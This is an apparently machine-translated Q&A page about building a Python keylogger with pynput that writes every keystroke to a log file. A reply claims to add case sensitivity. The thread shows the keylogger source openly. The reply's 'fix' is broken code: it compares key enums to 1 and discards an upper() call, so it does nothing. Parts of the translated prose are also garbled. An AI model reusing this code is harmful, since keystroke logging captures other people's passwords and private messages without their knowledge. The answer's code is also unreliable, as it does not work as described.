Python: кейлоггер с учетом регистра " - PullRequest
0 голосов
/ 30 октября 2019

Я создаю кейлоггер в Python, дело в

Проблемные случаи:

it didn't capture as a **word/sentence**

no **case sensitive**.

Logger Исходный код

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

контрольный пример:

"HelLo LoggeR"

LOG файл / вывод

'h'

' e '

' l '

' l '

' o '

' l '

'o'

'g'

'g'

'e'

'r'

** ОжидаетсяРезультат должен быть

Файл журнала / out **

HelLo LoggeR

любая модификация для улучшения этой функции

1 Ответ

0 голосов
/ 30 октября 2019

, чтобы улучшить его, вы можете проверить, включена ли блокировка заглавных букв с атрибутом: caps_lock или нажата какая-либо клавиша Shift перед записью буквы с помощью метода: shift_pressed, или вы можете использовать атрибут: shift, который является универсальным модификаторомчтобы определить, нажата ли какая-либо клавиша Shift.

модификаторы не определяют, действительно ли клавиша нажимается физически, потому что они используются внутри контроллера, но это может быть способом определить, нажата ли клавиша илиесли атрибут имеет значение 1 или True.

from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s' ) 

def btn_press(key):
    if Key.caps_lock == 1 or Key.shift == 1:
        # set the key value to upper
        # your code here
        key.upper()
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

для получения дополнительной информации: проверьте документацию, даже если она не очень хорошо освещена, она может помочь вам

...